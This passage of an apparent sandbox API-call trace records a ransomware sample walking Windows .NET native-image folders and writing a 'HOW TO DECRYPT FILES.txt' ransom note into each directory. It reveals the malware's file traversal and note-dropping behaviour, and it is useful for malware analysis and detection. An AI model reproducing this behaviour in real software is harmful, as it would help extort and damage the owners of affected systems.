pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\") returned="" [0120.903] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\HOW TO DECRYPT FILES.txt" [0120.903] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv759bfb78#\\b2cde20051456606147962820883750f\\how to decrypt files.txt")) returned 0x20 [0120.904] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\", lpString2="System.ServiceProcess.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\System.ServiceProcess.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\System.ServiceProcess.ni.dll.aux" [0120.904] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\System.ServiceProcess.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.904] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2c9ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2c9ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceProcess.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.904] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.904] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2c9ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2c9ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b2cde20051456606147962820883750f", cAlternateFileName="B2CDE2~1")) returned 0 [0120.904] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.904] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac9e1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Servae423458#", cAlternateFileName="SY259A~1.SER")) returned 1 [0120.904] lstrcmpA (lpString1=".", lpString2="System.Servae423458#") returned -1 [0120.904] lstrcmpA (lpString1="..", lpString2="System.Servae423458#") returned -1 [0120.904] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.904] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Servae423458#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#" [0120.905] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac9e1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.905] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.905] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac9e1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.905] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.905] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.905] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac9e1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6ee662bee23b205a3508157c631f697f", cAlternateFileName="6EE662~1")) returned 1 [0120.905] lstrcmpA (lpString1=".", lpString2="6ee662bee23b205a3508157c631f697f") returned -1 [0120.905] lstrcmpA (lpString1="..", lpString2="6ee662bee23b205a3508157c631f697f") returned -1 [0120.905] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\*.*") returned="*.*" [0120.905] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\", lpString2="6ee662bee23b205a3508157c631f697f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f" [0120.906] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac9e1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.909] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.909] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac9e1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.909] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.909] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.909] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaac78070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac78070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x132000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Discovery.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.909] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.909] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Discovery.ni.dll") returned -1 [0120.909] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Discovery.ni.dll") returned -1 [0120.909] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Discovery.ni.dll") returned -1 [0120.909] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\*.*") returned="*.*" [0120.909] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\" [0120.909] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\") returned="" [0120.909] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\HOW TO DECRYPT FILES.txt" [0120.909] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servae423458#\\6ee662bee23b205a3508157c631f697f\\how to decrypt files.txt")) returned 0xffffffff [0120.910] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servae423458#\\6ee662bee23b205a3508157c631f697f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.912] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.913] CloseHandle (hObject=0x90) returned 1 [0120.913] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\", lpString2="System.ServiceModel.Discovery.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\System.ServiceModel.Discovery.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\System.ServiceModel.Discovery.ni.dll" [0120.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\System.ServiceModel.Discovery.ni.dll", pszSpec="*.ems") returned 0 [0120.913] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac9e1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x7a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Discovery.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.913] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.913] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Discovery.ni.dll.aux") returned -1 [0120.913] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Discovery.ni.dll.aux") returned -1 [0120.913] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Discovery.ni.dll.aux") returned -1 [0120.914] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\System.ServiceModel.Discovery.ni.dll") returned="System.ServiceModel.Discovery.ni.dll" [0120.914] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\" [0120.914] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\") returned="" [0120.914] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\HOW TO DECRYPT FILES.txt" [0120.914] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servae423458#\\6ee662bee23b205a3508157c631f697f\\how to decrypt files.txt")) returned 0x20 [0120.914] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\", lpString2="System.ServiceModel.Discovery.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\System.ServiceModel.Discovery.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\System.ServiceModel.Discovery.ni.dll.aux" [0120.914] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\System.ServiceModel.Discovery.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.914] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac9e1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x7a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Discovery.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.914] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.914] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xaac9e1d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xaac9e1d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6ee662bee23b205a3508157c631f697f", cAlternateFileName="6EE662~1")) returned 0 [0120.915] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.915] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Servb00a6512#", cAlternateFileName="SY5A74~1.SER")) returned 1 [0120.915] lstrcmpA (lpString1=".", lpString2="System.Servb00a6512#") returned -1 [0120.915] lstrcmpA (lpString1="..", lpString2="System.Servb00a6512#") returned -1 [0120.915] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.915] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Servb00a6512#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#" [0120.915] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.955] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.955] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.955] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.955] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.955] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e70d84ed9e6a348fd66d7b67dcdfcb94", cAlternateFileName="E70D84~1")) returned 1 [0120.955] lstrcmpA (lpString1=".", lpString2="e70d84ed9e6a348fd66d7b67dcdfcb94") returned -1 [0120.955] lstrcmpA (lpString1="..", lpString2="e70d84ed9e6a348fd66d7b67dcdfcb94") returned -1 [0120.955] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\*.*") returned="*.*" [0120.955] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\", lpString2="e70d84ed9e6a348fd66d7b67dcdfcb94" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94" [0120.956] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.965] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.965] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.965] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.965] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.965] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab245610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab245610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.ServiceMoniker40.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.965] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.965] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.ServiceMoniker40.ni.dll") returned -1 [0120.965] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.ServiceMoniker40.ni.dll") returned -1 [0120.965] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.ServiceMoniker40.ni.dll") returned -1 [0120.965] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\*.*") returned="*.*" [0120.965] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\" [0120.965] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\") returned="" [0120.965] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\HOW TO DECRYPT FILES.txt" [0120.965] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\how to decrypt files.txt")) returned 0xffffffff [0120.966] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.969] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.969] CloseHandle (hObject=0x90) returned 1 [0120.969] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\", lpString2="System.ServiceModel.ServiceMoniker40.ni.dll" | out: 